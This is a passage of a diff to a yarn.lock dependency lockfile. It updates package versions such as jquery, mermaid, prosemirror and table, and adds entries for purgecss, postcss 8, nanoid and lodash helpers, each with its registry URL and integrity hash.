+ integrity sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==
+ dependencies:
+ domelementtype "^2.0.1"
+ domhandler "^4.0.0"
+ domutils "^2.5.2"
+ entities "^2.0.0"
+
http-cache-semantics@^4.0.0:
version "4.1.0"
resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz#49e91c5cbf36c9b94bcfcd71c23d5249ec74e390"
@@ -7251,10 +7324,10 @@ jquery.waitforimages@^2.2.0:
resolved "https://registry.yarnpkg.com/jquery.waitforimages/-/jquery.waitforimages-2.2.0.tgz#63f23131055a1b060dc913e6d874bcc9b9e6b16b"
integrity sha1-Y/IxMQVaGwYNyRPm2HS8ybnmsWs=
-"jquery@>= 1.9.1", jquery@^3.5.0:
- version "3.5.1"
- resolved "https://registry.yarnpkg.com/jquery/-/jquery-3.5.1.tgz#d7b4d08e1bfdb86ad2f1a3d039ea17304717abb5"
- integrity sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==
+"jquery@>= 1.9.1", jquery@^3.6.0:
+ version "3.6.0"
+ resolved "https://registry.yarnpkg.com/jquery/-/jquery-3.6.0.tgz#c72a09f15c1bdce142f49dbf1170bdf8adac2470"
+ integrity sha512-JVzAR/AjBvVt2BmYhxRCSYysDsPcssdmTFnzyLEts9qNwmjmu4JTAMYubEfwVOSwpQ1I1sKKFcxhZCI2buerfw==
js-beautify@^1.6.12, js-beautify@^1.8.8:
version "1.11.0"
@@ -7660,11 +7733,6 @@ lie@~3.1.0:
dependencies:
immediate "~3.0.5"
-lightercollective@^0.3.0:
- version "0.3.0"
- resolved "https://registry.yarnpkg.com/lightercollective/-/lightercollective-0.3.0.tgz#1f07638642ec645d70bdb69ab2777676f35a28f0"
- integrity sha512-RFOLSUVvwdK3xA0P8o6G7QGXLIyy1L2qv5caEI7zXN5ciaEjbAriRF182kbsoJ1S1TgvpyGcN485fMky6qxOPw==
-
lines-and-columns@^1.1.6:
version "1.1.6"
resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00"
@@ -7840,6 +7908,11 @@ lodash.mapvalues@^4.6.0:
resolved "https://registry.yarnpkg.com/lodash.mapvalues/-/lodash.mapvalues-4.6.0.tgz#1bafa5005de9dd6f4f26668c30ca37230cc9689c"
integrity sha1-G6+lAF3p3W9PJmaMMMo3IwzJaJw=
+lodash.merge@^4.6.2:
+ version "4.6.2"
+ resolved "https://registry.yarnpkg.com/lodash.merge/-/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
+ integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
+
lodash.pick@^4.4.0:
version "4.4.0"
resolved "https://registry.yarnpkg.com/lodash.pick/-/lodash.pick-4.4.0.tgz#52f05610fff9ded422611441ed1fc123a03001b3"
@@ -7855,6 +7928,11 @@ lodash.sortby@^4.7.0:
resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=
+lodash.truncate@^4.4.2:
+ version "4.4.2"
+ resolved "https://registry.yarnpkg.com/lodash.truncate/-/lodash.truncate-4.4.2.tgz#5a350da0b1113b837ecfffd5812cbe58d6eae193"
+ integrity sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=
+
lodash.uniq@^4.5.0:
version "4.5.0"
resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
@@ -8206,10 +8284,10 @@ merge2@^1.3.0:
resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
-mermaid@^8.9.2:
- version "8.9.2"
- resolved "https://registry.yarnpkg.com/mermaid/-/mermaid-8.9.2.tgz#40bb2052cc6c4feaf5d93a5e527a8d06d0bacea7"
- integrity sha512-XWEaraDRDlHZexdeHSSr/MH4VJAOksRSPudchi69ecZJ7IUjjlzHsg32n4ZwJUh6lFO+NMYLHwHNNYUyxIjGPg==
+mermaid@^8.10.2:
+ version "8.10.2"
+ resolved "https://registry.yarnpkg.com/mermaid/-/mermaid-8.10.2.tgz#e039df2e42faba08743f167fff85bdccff241f76"
+ integrity sha512-Za5MrbAOMbEsyY4ONgGjfYz06sbwF1iNGRzp1sQqpOtvXxjxGu/J1jRJ8QyE9kD/D9zj1/KlRrYegWEvA7eZ5Q==
dependencies:
"@braintree/sanitize-url" "^3.1.0"
d3 "^5.7.0"
@@ -8542,6 +8620,11 @@ multicast-dns@^6.0.1:
dns-packet "^1.0.1"
thunky "^0.1.0"
+nanoid@^3.1.23:
+ version "3.1.23"
+ resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.23.tgz#f744086ce7c2bc47ee0a8472574d5c78e4183a81"
+ integrity sha512-FiB0kzdP0FFVGDKlRLEQ1BgDzU87dy5NnzjeW9YZNt+/c3+q82EQDUwniSAUxp/F0gFNI1ZhKU1FqYsMuqZVnw==
+
nanomatch@^1.2.9:
version "1.2.13"
resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
@@ -8591,7 +8674,7 @@ node-ensure@^0.0.0:
resolved "https://registry.yarnpkg.com/node-ensure/-/node-ensure-0.0.0.tgz#ecae764150de99861ec5c810fd5d096b183932a7"
integrity sha1-7K52QVDemYYexcgQ/V0Jaxg5Mqc=
-node-fetch@^2.6.0:
+node-fetch@^2.6.1:
version "2.6.1"
resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052"
integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==
@@ -8749,6 +8832,13 @@ npm-run-path@^4.0.0:
dependencies:
path-key "^3.0.0"
+nth-check@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-2.0.0.tgz#1bb4f6dac70072fc313e8c9cd1417b5074c0a125"
+ integrity sha512-i4sc/Kj8htBrAiH1viZ0TgU8Y5XqCaV/FziYK6TBczxmeKm3AEFWqqF3195yKudrarqy7Zu80Ra5dobFjn9X/Q==
+ dependencies:
+ boolbase "^1.0.0"
+
num2fraction@^1.2.2:
version "1.2.2"
resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
@@ -9130,7 +9220,19 @@ parse-passwd@^1.0.0:
resolved "https://registry.yarnpkg.com/parse-passwd/-/parse-passwd-1.0.0.tgz#6d5b934a456993b23d37f40a382d6f1666a8e5c6"
integrity sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=
-"parse5@5 - 6", parse5@5.1.1:
+parse5-htmlparser2-tree-adapter@^6.0.0, parse5-htmlparser2-tree-adapter@^6.0.1:
+ version "6.0.1"
+ resolved "https://registry.yarnpkg.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-6.0.1.tgz#2cdf9ad823321140370d4dbf5d3e92c7c8ddc6e6"
+ integrity sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA==
+ dependencies:
+ parse5 "^6.0.1"
+
+"parse5@5 - 6", parse5@^6.0.0, parse5@^6.0.1:
+ version "6.0.1"
+ resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b"
+ integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==
+
+parse5@5.1.1:
version "5.1.1"
resolved "https://registry.yarnpkg.com/parse5/-/parse5-5.1.1.tgz#f68e4e5ba1852ac2cadc00f4555fff6c2abb6178"
integrity sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==
@@ -9441,6 +9543,15 @@ postcss@^7.0.14, postcss@^7.0.2, postcss@^7.0.21, postcss@^7.0.26, postcss@^7.0.
source-map "^0.6.1"
supports-color "^6.1.0"
+postcss@^8.2.1:
+ version "8.2.15"
+ resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.2.15.tgz#9e66ccf07292817d226fc315cbbf9bc148fbca65"
+ integrity sha512-2zO3b26eJD/8rb106Qu2o7Qgg52ND5HPjcyQiK2B98O388h43A448LCslC0dI2P97wCAQRJsFvwTRcXxTKds+Q==
+ dependencies:
+ colorette "^1.2.2"
+ nanoid "^3.1.23"
+ source-map "^0.6.1"
+
prelude-ls@^1.2.1:
version "1.2.1"
resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
@@ -9550,19 +9661,19 @@ prosemirror-collab@^1.2.2:
dependencies:
prosemirror-state "^1.0.0"
-prosemirror-commands@^1.1.4, prosemirror-commands@^1.1.7:
- version "1.1.7"
- resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.1.7.tgz#5b31ae0fe82835d36d22c780641c0b651f27dd03"
- integrity sha512-tuQr8q5euDjE+WAHWmu1JMLYWsPfUDH80QLLpnQrPYOPysO26FZyyHwEvA0+hUzvF8fOt1oMj0+/YM9UsPkZiA==
+prosemirror-commands@^1.1.4, prosemirror-commands@^1.1.8:
+ version "1.1.8"
+ resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.1.8.tgz#61aec59ac101b7990ec59726199f2a31ef0cd8ca"
+ integrity sha512-EIj/WAlrK2rVugxNxsFG6pI4430RL63ka2QKB9dO7vvStsLO//nq/oMjmd3VXp08+QNrmmLE23utqBUZwbS9Jg==
dependencies:
prosemirror-model "^1.0.0"
prosemirror-state "^1.0.0"
prosemirror-transform "^1.0.0"
-prosemirror-dropcursor@^1.3.2, prosemirror-dropcursor@^1.3.4:
- version "1.3.4"
- resolved "https://registry.yarnpkg.com/prosemirror-dropcursor/-/prosemirror-dropcursor-1.3.4.tgz#a7f799ff9ecb520d3e1dbb3cb39d27ce41066618"
- integrity sha512-eVmpMG5+fmvANT3xDzRirmG240rB/piI31ExIfW0Mkvo5/cYC/lm1fFMAOzjO22uc5OQXiodRqOnyE05+g3UqA==
+prosemirror-dropcursor@^1.3.2, prosemirror-dropcursor@^1.3.5:
+ version "1.3.5"
+ resolved "https://registry.yarnpkg.com/prosemirror-dropcursor/-/prosemirror-dropcursor-1.3.5.tgz#d2808c17089df0e441ad66016aecc2b6457c8a1f"
+ integrity sha512-tNUwcF2lPAkwKBZPZRtbxpwljnODRNZ3eiYloN1DSUqDjMT1nBZm0nejaEMS1TvNQ+3amibUSAiV4hX+jpASFA==
dependencies:
prosemirror-state "^1.0.0"
prosemirror-transform "^1.1.0"
@@ -9652,10 +9763,10 @@ prosemirror-transform@^1.0.0, prosemirror-transform@^1.1.0, prosemirror-transfor
dependencies:
prosemirror-model "^1.0.0"
-prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.16.5, prosemirror-view@^1.18.4:
- version "1.18.4"
- resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.18.4.tgz#179141df117cf414434ade08115f2e233d135f6d"
- integrity sha512-6oi62XRK5WxhMX1Amjk5uMsWILUEcFbFF75i09BzpAdI+5glhs7heCaRvKOj4v3YRJ7LJVkOXS9xvjetlE3+pA==
+prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.16.5, prosemirror-view@^1.18.7:
+ version "1.18.7"
+ resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.18.7.tgz#d9843337a1649f532401589899b724e7e87e83c0"
+ integrity sha512-pUCxoyuWnbVfJ/ukhQ+7+bfDMArG3wu6hHnnTFi61C7Teb5OILUhkkhEhF2/RsppBFWrkwsNcf8rQm8SSoSKRg==
dependencies:
prosemirror-model "^1.1.0"
prosemirror-state "^1.0.0"
@@ -9747,6 +9858,24 @@ pupa@^2.0.1:
dependencies:
escape-goat "^2.0.0"
+purgecss-from-html@^4.0.3:
+ version "4.0.3"
+ resolved "https://registry.yarnpkg.com/purgecss-from-html/-/purgecss-from-html-4.0.3.tgz#28d86d3dc8292581c4ab529a77a57daf7c2dd940"
+ integrity sha512-Ipv/kXSDRBlVTWDSRq5PZoiJdFjZjlL6r/3MH42waKM524NiicyvwLlyE9XedBSCPs+Ypek6SaTd8TTeiBgCMg==
+ dependencies:
+ parse5 "^6.0.0"
+ parse5-htmlparser2-tree-adapter "^6.0.0"
+
+purgecss@^4.0.3:
+ version "4.0.3"
+ resolved "https://registry.yarnpkg.com/purgecss/-/purgecss-4.0.3.tgz#8147b429f9c09db719e05d64908ea8b672913742"
+ integrity sha512-PYOIn5ibRIP34PBU9zohUcCI09c7drPJJtTDAc0Q6QlRz2/CHQ8ywGLdE7ZhxU2VTqB7p5wkvj5Qcm05Rz3Jmw==
+ dependencies:
+ commander "^6.0.0"
+ glob "^7.0.0"
+ postcss "^8.2.1"
+ postcss-selector-parser "^6.0.2"
+
qjobs@^1.1.4:
version "1.2.0"
resolved "https://registry.yarnpkg.com/qjobs/-/qjobs-1.2.0.tgz#c45e9c61800bd087ef88d7e256423bdd49e5d071"
@@ -11194,15 +11323,17 @@ symbol-tree@^3.2.4:
resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
-table@^6.0.4, table@^6.0.7:
- version "6.0.7"
- resolved "https://registry.yarnpkg.com/table/-/table-6.0.7.tgz#e45897ffbcc1bcf9e8a87bf420f2c9e5a7a52a34"
- integrity sha512-rxZevLGTUzWna/qBLObOe16kB2RTnnbhciwgPbMMlazz1yZGVEgnZK762xyVdVznhqxrfCeBMmMkgOOaPwjH7g==
+table@^6.0.7, table@^6.0.9:
+ version "6.7.1"
+ resolved "https://registry.yarnpkg.com/table/-/table-6.7.1.tgz#ee05592b7143831a8c94f3cee6aae4c1ccef33e2"
+ integrity sha512-ZGum47Yi6KOOFDE8m223td53ath2enHcYLgOCjGr5ngu8bdIARQk6mN/wRMv4yMRcHnCSnHbCEha4sobQx5yWg==
dependencies:
- ajv "^7.0.2"
- lodash "^4.17.20"
+ ajv "^8.0.1"
+ lodash.clonedeep "^4.5.0"
+ lodash.truncate "^4.4.2"
slice-ansi "^4.0.0"
string-width "^4.2.0"
+ strip-ansi "^6.0.0"
taffydb@2.6.2:
version "2.6.2"
@@ -11561,6 +11692,11 @@ tslib@^1.10.0, tslib@^1.8.1, tslib@^1.9.0, tslib@^1.9.3:
resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.13.0.tgz#c881e13cc7015894ed914862d276436fa9a47043"
integrity sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==
+tslib@^2.2.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.2.0.tgz#fb2c475977e35e241311ede2693cee1ec6698f5c"
+ integrity sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==
+
tsutils@^3.17.1:
version "3.17.1"
resolved "https://registry.yarnpkg.com/tsutils/-/tsutils-3.17.1.tgz#ed719917f11ca0dee586272b2ac49e015a2dd759"